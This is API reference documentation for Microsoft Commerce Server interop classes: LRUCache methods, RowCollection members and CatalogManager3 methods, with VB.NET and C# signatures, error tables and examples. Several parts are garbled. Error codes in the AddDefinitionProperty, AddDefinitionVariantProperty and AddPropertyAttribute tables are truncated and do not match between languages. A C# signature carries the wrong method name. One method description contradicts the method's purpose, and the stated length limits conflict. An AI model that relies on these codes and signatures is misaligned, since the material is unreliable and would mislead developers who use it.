Import Microsoft.CommerceServer.Interop.Caching
…
Public Sub Insert(
  bstrKey As String,
  ByRef pvarValue As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void Insert(
  string bstrKey,
  ref object pvarValue
);

Parameters

[Visual Basic .NET]
bstrKey
A String that contains the name of the element to be added to the cache.
pvarValue
An Object that contains the value of the element.
[C#]
bstrKey
A string that contains the name of the element to be added to the cache.
pvarValue
An object that contains the value of the element.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

'oManAd is an Object that references an ad.
oLRUCache.Insert("ManufacturerAd", oManAd)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class

LRUCache Class


LRUCache.Lookup Method (PIA)

Use this method to retrieve the value of an element from the cache.

Definition

[Visual Basic .NET]
Import Microsoft.CommerceServer.Interop.Caching
…
Public Function Lookup(
  bstrKey As String
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public object Lookup(
  string bstrKey
);

Parameters

[Visual Basic .NET]
bstrKey
A String that contains the name of the element to be retrieved.
[C#]
bstrKey
A string that contains the name of the element to be retrieved.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the value of the specified element.

[C#] This method returns an object containing the element value.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[Visual Basic .NET]

Example

' oFavAd is an Object
oFavAd = myLRUCache.Lookup("Favorite Ad")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class

LRUCache Class


LRUCache.LookupObject Method (PIA)

Use this method to retrieve an object from the cache.

Definition

[Visual Basic .NET]
Import Microsoft.CommerceServer.Interop.Caching
…
Public Function LookupObject(
  bstrKey As String
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public object LookupObject(
  string bstrKey
);

Parameters

[Visual Basic .NET]
bstrKey
A String that contains the name of the object to be retrieved.
[C#]
bstrKey
A string that contains the name of the object to be retrieved.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object.

[C#] This method returns an object containing the retrieved information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Set oMyObject = oLRUCache.LookupObject("My Object")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class

LRUCache Class


LRUCache.SetSize Method (PIA)

Use this method to set the maximum size of the cache.

Definition

[Visual Basic .NET]
Import Microsoft.CommerceServer.Interop.Caching
…
Public Sub SetSize(
  lSize As Integer
)
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void SetSize(
  int lSize
);

Parameters

[Visual Basic .NET]
lSize
An Integer that specifies the size of the cache.
[C#]
lSize
An int that specifies the size of the cache.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class

LRUCache Class


RowCollection Class (PIA)

Use this object to access data contained in a ContentList object and its corresponding ContentListFactory object. Some RowCollection objects allow access to all of the rows in these objects. Other RowCollection objects allow access to a calculated subset of the rows in these objects.

This object supports the IEnumerable interface. Use the GetEnumerator method on this interface to iterate through the collection.

Methods

Method | Description
GetEnumerator | Returns an enumerator for RowCollection objects.
MoveFirst | Sets the first row in the RowCollection object to be the current row.
MoveNext | Sets the row after the current row in the RowCollection object to be the new current row.

Properties

Property | Type | Description
Count | Integer | Stores the number of rows in the RowCollection object. This property is read-only.
EOF | Boolean | Contains a Boolean that returns True when the end of the collection has been reached. This property is read-only.
Fields | ADODB26Lib.Fields | Contains the Fields collection object for the current row. This property is read-only.
RowNum | Integer | Stores the position of the current row, starting from zero (0). This property is read-only.

Remarks

[Visual Basic .NET]

The RowCollection object is a dependent object. Obtain a reference to it by using the following properties and methods:

  • ContentList.ActiveRows
  • ContentList.AllRows
  • ContentList.Search
  • ContentListFactory.AllRows
  • ContentListFactory.Search
[C#]

The RowCollection object is a dependent object. Obtain a reference to an object that implements the IRowCollection interface by calling one of the following methods/properties:

  • ContentList.ActiveRows
  • ContentList.AllRows
  • ContentList.Search
  • ContentListFactory.AllRows
  • ContentListFactory.Search

Note that the above methods return an IRowCollection interface that will need to be cast to a RowCollection object, as follows:

RowCollection rc = (RowCollection)ContentList.ActiveRows;

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)


RowCollection Methods (PIA)

Methods

Method | Description
GetEnumerator | Returns an enumerator for RowCollection objects.
MoveFirst | Sets the first row in the RowCollection object to be the current row.
MoveNext | Sets the row after the current row in the RowCollection object to be the new current row.


RowCollection.GetEnumerator Method (PIA)

Use this method to retrieve an enumerator for the RowCollection object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Function GetEnumerator () As IEnumerator
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public IEnumerator GetEnumerator ();

Return Values

If successful, GetEnumerator returns an IEnumerator object describing a set of RowCollection objects.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

RowCollection Class


RowCollection.MoveFirst Method (PIA)

Use this method to set the current row to be the first row in a RowCollection object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Sub MoveFirst()
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void MoveFirst();

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

'myRowCollection is a RowCollection object.
myRowCollection.MoveFirst()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

RowCollection Class


RowCollection.MoveNext Method (PIA)

Use this method to set the current row to be the row that is one row beyond the current row. In other words, the next row in the collection.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Sub MoveNext()
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void MoveNext();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

'myRowCollection is a RowCollection object.
myRowCollection.MoveNext()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

RowCollection Class


RowCollection Properties (PIA)

Properties

Property | Type | Description
Count | Integer | Stores the number of rows in the RowCollection object. This property is read-only.
EOF | Boolean | Contains a Boolean that returns True when the end of the collection has been reached. This property is read-only.
Fields | ADODB26Lib.Fields | Contains the Fields collection object for the current row. This property is read-only.
RowNum | Integer | Stores the position of the current row, starting from zero (0). This property is read-only.


RowCollection.Count Property (PIA)

The Count property is a read-only Integer that contains the number of rows in the collection.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public ReadOnly Property Count As Integer
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public int Count {get; }

Property Value

This property returns an int containing the number of rows in the RowCollection object.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

RowCollection Class


RowCollection.EOF Property (PIA)

The EOF property is a read-only Boolean that returns True when the end of the collection has been reached.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public ReadOnly Property EOF As Boolean
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public bool EOF {get; }

Property Value

This property returns a bool containing an indication of whether row iteration is complete.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll )

See Also

RowCollection Class


RowCollection.Fields Property (PIA)

The Fields property is a read-only Fields collection object that contains the Field objects for the current row.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
Improts ADODB26Lib     ‘ for Fields
…
Public ReadOnly Property Fields As Fields
[C#]
using Microsoft.CommerceServer.Interop.Caching;
using ADODB26Lib;                              //For Fields
…
public Fields Fields {get; }
[C#]

Return Values

This property returns an ADODB26Lib.Fields collection.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Fields object associated with this property corresponds to the current row in the RowCollection object. When the EOF property is True, indicating that the current row is set beyond the actual rows in the collection, accessing this property will result in an error.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

RowCollection Class


RowCollection.RowNum Property (PIA)

The RowNum property is a read-only number that contains the position of the current row within the RowCollection object. Row positions begin at zero (0), not one (1).

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public ReadOnly Property RowNum As Integer
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public int RowNum {get; }
[C#]

Return Values

This property returns an int containing the position of the current row in the RowCollection object. Row positions begin at zero (0), not one (1).

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The value of this property corresponds to the current row in the RowCollection object. When the EOF property is True, indicating that the current row is set beyond the actual rows in the collection, accessing this property will result in an error.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

RowCollection Class


Microsoft.CommerceServer.Interop.Catalog

The following table lists and describes the classes contained in the Microsoft.CommerceServer.Interop.Catalog namespace.

Class | Description
CatalogManager3 | Allows management of catalogs across the entire Product Catalog System.
CatalogSets | Works with catalog sets in the Product Catalog System.
CatalogSets2 | Works with catalog sets in the Product Catalog System.
CatalogToVendorAssociation | Allows a catalog to be associated with particular vendor.
Category | Allows management of a product hierarchy within a particular catalog.
DataFunctions | Performs locale-based formatting, parsing, and value range checking in a site.
Product3 | Allows manipulation of the relationships between a product variant and a product category.
ProductCatalog3 | Allows creation, deletion, and modification of catalog data.


CatalogManager3 Class (PIA)

Use this object to work with the entire Product Catalog System. The methods and properties of this object interact with all catalogs contained in the Product Catalog System.

Methods

Method | Description
AddCatalogAttribute | Adds an attribute to a catalog.
AddDefinitionProperty | Adds a property to a definition.
AddDefinitionVariantProperty | Adds a variant property to a definition.
AddPropertyAttribute | Adds an attribute to a property.
AddPropertyValue | Adds a value to the list of defined values for this property. Only applies to enumerations.
CreateCatalog | Creates a new catalog.
CreateCategoryDefinition | Creates a new category definition.
CreateProductDefinition | Creates a new product definition.
CreateProperty | Creates a new property.
DeleteCatalog | Deletes a catalog.
DeleteDefinition | Deletes a product or category definition.
DeleteProperty | Deletes a property.
DeltaExportXML | Use this method to export updated catalog data to an Extensible Markup Language (XML) file.
ExportCSV | Exports catalog data as a comma-separated values (CSV) format file.
ExportXML | Exports catalog data as an Extensible Markup Language (XML) format file.
FreeTextSearch | Performs a free-text search of catalogs.
GetAttributes | Returns the catalog or property attributes in the Product Catalog System.
GetCatalog | Returns the specified catalog object.
GetDefinitionProperties | Returns the properties of a specified product or category definition.
GetPropertyAttributes | Returns all the attributes of a specified property.
GetPropertyValues | Returns a list of appropriate values for an enumeration property.
ImportCSV | Imports a comma-separated values (CSV) format file as catalog data.
ImportXML | Imports an XML format file as catalog data.
Initialize | Initializes the CatalogManager object.
Query | Performs queries against product, variant, and category data in one or more catalogs.
RebuildAllVirtualCatalogs | Rebuilds all virtual catalogs.
RemoveCatalogAttribute | Removes the specified attribute from a catalog.
RemoveDefinitionProperty | Removes the specified property or variant property from a definition.
RemovePropertyAttribute | Removes the specified attribute from a property.
RemovePropertyValue | Removes a defined value from an enumeration property.
RenameDefinition | Renames a definition.
RenameProperty | Renames a property.
Search | Performs language-specific searches in one or more catalogs.
SetDefinitionProperties | Use this method to change the properties of a category or product definition.
SetJoinTable | Joins an external table to a table in the Product Catalog System.
SetPropertyAttributes | Changes the attributes of a property.
ValidateXML | Validates an XML-formatted file against the catalog definition.

Properties

Property | Type | Description
Catalogs | ADODB26Lib._Recordset | Stores a recordset containing a record for each catalog contained in the Product Catalog System, including their properties. This property is read-only.
CategoryDefinitions | ADODB26Lib._Recordset | Stores a recordset containing the names of all of the category definitions that currently exist in the Product Catalog System. This property is read-only.
CustomCatalogs | ADODB26Lib._Recordset | This property is obsolete.
ProductDefinitions | ADODB26Lib._Recordset | Stores a recordset containing the names of all the product definitions that currently exist in the Product Catalog System. This property is read-only.
Properties | ADODB26Lib._Recordset | Stores a recordset containing the name of each property that currently exists in the Product Catalog System. This property is read-only.

Remarks

Some methods of the CatalogManager object cannot be called in a transacted object. They are the CreateCatalog, DeleteCatalog, GenerateCustomCatalog, ImportCSV, ImportXML, and RegenerateFreeTextSearchIndex methods. These methods involve the creation, deletion, or updating of free text indexes. SQL Server does not allow these operations in a transaction.

Binding to the CatalogManager in a COM+ component that has either the Required or Requires New property set generates a run-time error.

Many CatalogManager objects use the PropertyAttribute recordset to record property definitions found in the CatalogAttributes table. For more information, see PropertyAttribute Recordset.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)


CatalogManager3 Methods (PIA)

Methods

Method | Description
AddCatalogAttribute | Adds an attribute to a catalog.
AddDefinitionProperty | Adds a property to a definition.
AddDefinitionVariantProperty | Adds a variant property to a definition.
AddPropertyAttribute | Adds an attribute to a property.
AddPropertyValue | Adds a value to the list of defined values for this property. Only applies to enumerations.
CreateCatalog | Creates a new catalog.
CreateCategoryDefinition | Creates a new category definition.
CreateProductDefinition | Creates a new product definition.
CreateProperty | Creates a new property.
DeleteCatalog | Deletes a catalog.
DeleteDefinition | Deletes a product or category definition.
DeleteProperty | Deletes a property.
DeltaExportXML | Use this method to export updated catalog data to an Extensible Markup Language (XML) file.
ExportCSV | Exports catalog data as a comma-separated values (CVS) format file.
ExportXML | Exports catalog data as an Extensible Markup Language (XML) format file.
FreeTextSearch | Performs a free-text search of catalogs.
GetAttributes | Returns the catalog or property attributes in the Product Catalog System.
GetCatalog | Returns the specified catalog object.
GetDefinitionProperties | Returns the properties of a specified product or category definition.
GetPropertyAttributes | Returns all the attributes of a specified property.
GetPropertyValues | Returns a list of appropriate values for an enumeration property.
ImportCSV | Imports a comma-separated values (CVS) format file as catalog data.
ImportXML | Imports an XML format file as catalog data.
Initialize | Initializes the CatalogManager object.
Query | Performs queries against product, variant, and category data in one or more catalogs.
RebuildAllVirtualCatalogs | Rebuilds all virtual catalogs.
RemoveCatalogAttribute | Removes the specified attribute from a catalog.
RemoveDefinitionProperty | Removes the specified property or variant property from a definition.
RemovePropertyAttribute | Removes the specified attribute from a property.
RemovePropertyValue | Removes a defined value from an enumeration property.
RenameDefinition | Renames a definition.
RenameProperty | Renames a property.
Search | Performs language-specific searches in one or more catalogs.
SetDefinitionProperties | Use this method to change the properties of a category or product definition.
SetJoinTable | Joins an external table to a table in the Product Catalog System.
SetPropertyAttributes | Changes the attributes of a property.
ValidateXML | Validates an XML-formatted file against the catalog definition.


CatalogManager3.AddCatalogAttribute Method (PIA)

Use this method to add an attribute to a Catalog object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddCatalogAttribute(
  strAttributeName As String,
  eDataType  As CatalogDataTypeEnum,
  Optional varMaxLength As Object,
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddDefinitionProperty(
  string strAttributeName,
  CatalogTypeEnum eDataType,
  Object varMaxLength,
);

Parameters

[Visual Basic .NET]
strAttributeName
A String that contains the attribute name. See the Remarks section for a list of restricted characters.
eDataType
An enumeration that contains the data type. See the Remarks section for valid values.
varMaxLength
A VARIANT that contains the maximum string length if the eDataType parameter is cscString. This parameter is required if the eDataType parameter is cscString.
[C#]
strAttributeName
A string that contains the attribute name. See the Remarks section for a list of restricted characters.
eDataType
An enumeration that contains the data type. See the Remarks section for valid values.
varMaxLength
An object that contains the maximum string length if the eDataType parameter is cscString. This parameter is required if the eDataType parameter is cscString.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_ATTRIBUTE | [C#] 0x88980117 [Visual Basic .NET] &H88980117 | The attribute name you specified is invalid. Attribute names cannot be blank and cannot exceed 36 characters. Attribute names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_DATATYPE | [C#] 0x88980074 [Visual Basic .NET] &H88980074 | The datatype you specified is invalid.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_COLUMN_LENGTH | [C#] 0x88980040 [Visual Basic .NET] &H88980040 | The length specified for this property does not lie between 1 and 4000.
E_CAT_INVALID_DATATYPE_FOR_ATTRIBUTE | [C#] 0x889800A6 [Visual Basic .NET] &H889800A6 | The enumeration or filename data types cannot be used for creating property attributes
E_CAT_BUILTIN_CATALOG_ATTRIBUTE | [C#] 0x889800B0 [Visual Basic .NET] &H889800B0 | The catalog attribute that you specified is a built in catalog attribute and hence cannot be added or removed.
E_CAT_INVALID_DATATYPE | [C#] 0x88980074 [Visual Basic .NET] &H88980074 | The datatype you specified is invalid.
E_CAT_MAX_ATTRIBUTES | [C#] 0x88980118 [Visual Basic .NET] &H88980118 | You have exceeded the maximum limit of 100 attributes that can be created
E_CAT_CATALOG_ATTR_EXISTS | [C#] 0x88980110 [Visual Basic .NET] &H88980110 | The catalog attribute that you specified already exists.

Remarks

The varMaxLength parameter applies only when the eDataType parameter equals cscString. The minimum value is 1 and the maximum value is 4000. The varMaxLength parameter is ignored for all other data types.

Each catalog is limited to 100 attributes.

Catalog attribute names, and therefore the strAttributeName parameter, are limited to a maximum length of 35 characters and cannot contain any of the following characters:

  • Period (.)
  • Comma (,)
  • Double quote (")
  • Left square bracket ([)
  • Right square bracket (])

The following table shows the values of the CatalogDataTypeEnum enumeration that are valid for this method, and shows their associated names, and describes their use.

Name | Value | Description
cscInteger | 0 | Indicates an exact numeric value that holds whole numbers from –2[31] (-2,147,483,648) <= n <= 2[31] –1 (2,147,483,647).
cscBigInteger | 1 | Indicates an exact numeric value with precision 19 (if signed) or 20 (if unsigned), and scale 0 (signed: –2[63] <= n <= 2[63] – 1, unsigned: 0 <= n <= 2[64] – 1) [3], [9].
cscFloat | 2 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscDouble | 3 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscBoolean | 4 | Indicates a Boolean (bit), holds either a 1 or 0. Integer values other than 1 or 0 are accepted but are always interpreted as 1.
cscString | 5 | Indicates a variable-length character string with a maximum string length of 4000 characters.
cscDateTime | 6 | Indicates a Microsoft SQL Server DateTime data type.
cscCurrency | 7 | Indicates a Microsoft SQL Server Money data type.
cscText | 10 | Indicates a Microsoft SQL Server Text data type.
cscInvalid | -1 | Reserved for future use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.


CatalogManager3.AddDefinitionProperty Method (PIA)

Use this method to add an existing property to an existing category or product definition.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddDefinitionProperty(
  strDefinitionName As String,
  strPropertyName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddDefinitionProperty(
  string strDefinitionName,
  string strPropertyName
);

Parameters

[Visual Basic .NET]
strDefinitionName
A String that contains the name of the definition to which the property will be added.
strPropertyName
A String that contains the name of the property.
[C#]
strDefinitionName
A string that contains the name of the definition to which the property will be added.
strPropertyName
A string that contains the name of the property.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C#] 0x889800E [Visual Basic .NET] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A [Visual Basic .NET] &H8898002 | The property name you specified is invalid. Property Names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_DEFINITION_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H889800B | The definition you specified does not exist.
E_CAT_PROP_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H8898005 | The property name you specified does not exist.
E_CAT_PROP_IN_DEFINITION | [C#] 0x8898000 [Visual Basic .NET] &H889800D | The property you specified is already part of that definition.
E_CAT_ERROR_VARIANT_PROP | [C#] 0x889800A [Visual Basic .NET] &H8898003 | A variant property cannot be added to a Category definition.

Remarks

This method adds a property to a definition. Any products or categories created from the definition will also have the property. A property can only be added to a definition once. A property cannot be used in a product definition as both a property and a variant property.

[Visual Basic .NET]

Example

myCatalogManager.AddDefinitionProperty("Printers", "Manufacturer")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.AddDefinitionVariantProperty

CatalogManager3.RemoveDefinitionProperty


CatalogManager3.AddDefinitionVariantProperty Method (PIA)

Use this method to add a variant property to a definition. This method is similar to the AddDefinitionProperty method. The properties added with this method will only be used by product variants.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddDefinitionVariantProperty(
  strDefinitionName As String,
  strPropertyName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddDefinitionVariantProperty(
  string strDefinitionName,
  string strPropertyName
);

Parameters

[Visual Basic .NET]
strDefinitionName
A String that contains the name of the definition to which the specified variant property will be added.
strPropertyName
A String that contains the name of the property to be added to the specified definition.
[C#]
strDefinitionName
A string that contains the name of the definition to which the specified variant property will be added.
strPropertyName
A string that contains the name of the property to be added to the specified definition.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C#] 0x889800E [Visual Basic .NET] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A [Visual Basic .NET] &H8898002 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_DEFINITION_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H889800B | The definition you specified does not exist.
E_CAT_PROP_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H8898005 | The property name you specified does not exist.
E_CAT_PROP_IN_DEFINITION | [C#] 0x8898000 [Visual Basic .NET] &H889800D | The property you specified is already part of that definition.
E_CAT_ERROR_VARIANT_PROP | [C#] 0x889800A [Visual Basic .NET] &H8898003 | A variant property cannot be added to a category definition.

Remarks

This method adds a variant property to a definition. Any product variants created from the definition will also have the property. A property can be added to a definition only once. A property cannot be used in a product definition as both a property and a variant property.

[Visual Basic .NET]

Example

myCatalogManager.AddDefinitionVariantProperty("T-Shirts", "Size")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.AddDefinitionProperty

CatalogManager3.RemoveDefinitionProperty


CatalogManager3.AddPropertyAttribute Method (PIA)

Use this method to add a value to the list of defined values for the specified enumeration.

Definition

[Visual Basic .NET]
Public Sub AddPropertyAttribute Method(
  strAttributeName As String,
  eDataType  As CatalogDataTypeEnum,
  Optional varMaxLength As Object,
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddPropertyAttribute (
  string strAttributeName,
  CatalogTypeEnum eDataType,
  Object varMaxLength,
);

Parameters

[Visual Basic .NET]
strAttributeName
A String that contains the attribute name. See the Remarks section for a list of restricted characters.
eDataType
An enumeration that contains the data type. See the Remarks section for valid values.
varMaxLength
A VARIANT that contains the maximum string length if the eDataType parameter is cscString. This parameter is required if the eDataType parameter is cscString.
[C#]
strAttributeName
A String that contains the attribute name. See the Remarks section for a list of restricted characters.
eDataType
An enumeration that contains the data type. See the Remarks section for valid values.
varMaxLength
A VARIANT that contains the maximum string length if the eDataType parameter is cscString. This parameter is required if the eDataType parameter is cscString.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_ATTRIBUTE | [C#] 0x8898011 [Visual Basic .NET] &H8898017 | The attribute name you specified is invalid. Attribute names cannot be blank and cannot exceed 36 characters. Attribute names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_DATATYPE | [C#] 0x8898007 [Visual Basic .NET] &H8898004 | The datatype you specified is invalid.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B [Visual Basic .NET] &H8898006 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_COLUMN_LENGTH | [C#] 0x8898004 [Visual Basic .NET] &H8898000 | The length specified for this property is not between 1 and 4000.
E_CAT_INVALID_DATATYPE_FOR_ATTRIBUTE | [C#] 0x889800A [Visual Basic .NET] &H8898006 | The enumeration or filename data types cannot be used for creating property attributes.
E_CAT_INBUILT_PROPERTY | [C#] 0x8898003 [Visual Basic .NET] &H889800E | The property name you specified is used as a Catalog Management Inbuilt property name.
E_CAT_BUILTIN_ATTRIBUTE | [C#] 0x889800A [Visual Basic .NET] &H8898007 | The property attribute that you specified is a built-in attribute and hence cannot be added or removed from the catalog system.
E_CAT_INVALID_DATATYPE | [C#] 0x8898007 [Visual Basic .NET] &H8898004 | The datatype you specified is invalid.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A [Visual Basic .NET] &H8898002 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_MAX_ATTRIBUTES | [C#] 0x8898011 [Visual Basic .NET] &H8898018 | You have exceeded the maximum limit of 100 attributes that can be created.
E_CAT_ATTRIBUTE_EXISTS | [C#] 0x8898010 [Visual Basic .NET] &H889801F | The property Attribute that you specified already exists.

Remarks

The varMaxLength parameter applies only when the eDataType parameter equals cscString. The minimum value is 1 and the maximum value is 4000. The varMaxLength parameter is ignored for all other data types.

Each catalog is limited to 100 attributes.

Property attribute names, and therefore the strAttrName parameter, are limited to a maximum length of 35 characters, and cannot contain any of the following characters:

  • Period (.)
  • Comma (,)
  • Double quote (")
  • Left square bracket ([)
  • Right square bracket (])

The following table shows the values of the CatalogDataTypeEnum enumeration that are valid for this method, and shows their associated names, and describes their use.

Name | Value | Description
CscInteger | 0 | Indicates an exact numeric value that holds whole numbers from –2[31] (-2,147,483,648) <= n <= 2[31] –1 (2,147,483,647).
CscBigInteger | 1 | Indicates an exact numeric value with precision 19 (if signed) or 20 (if unsigned), and scale 0 (signed: –2[63] <= n <= 2[63] – 1, unsigned: 0 <= n <= 2[64] – 1) [3], [9].
CscFloat | 2 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
CscDouble | 3 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
CscBoolean | 4 | Indicates a Boolean (bit), holds either a 1 or 0. Integer values other than 1 or 0 are accepted but are always interpreted as 1.
CscString | 5 | Indicates a variable-length character string with a maximum string length of 4000 characters.
CscDateTime | 6 | Indicates a Microsoft SQL Server DateTime data type.
CscCurrency | 7 | Indicates a Microsoft SQL Server Money data type.
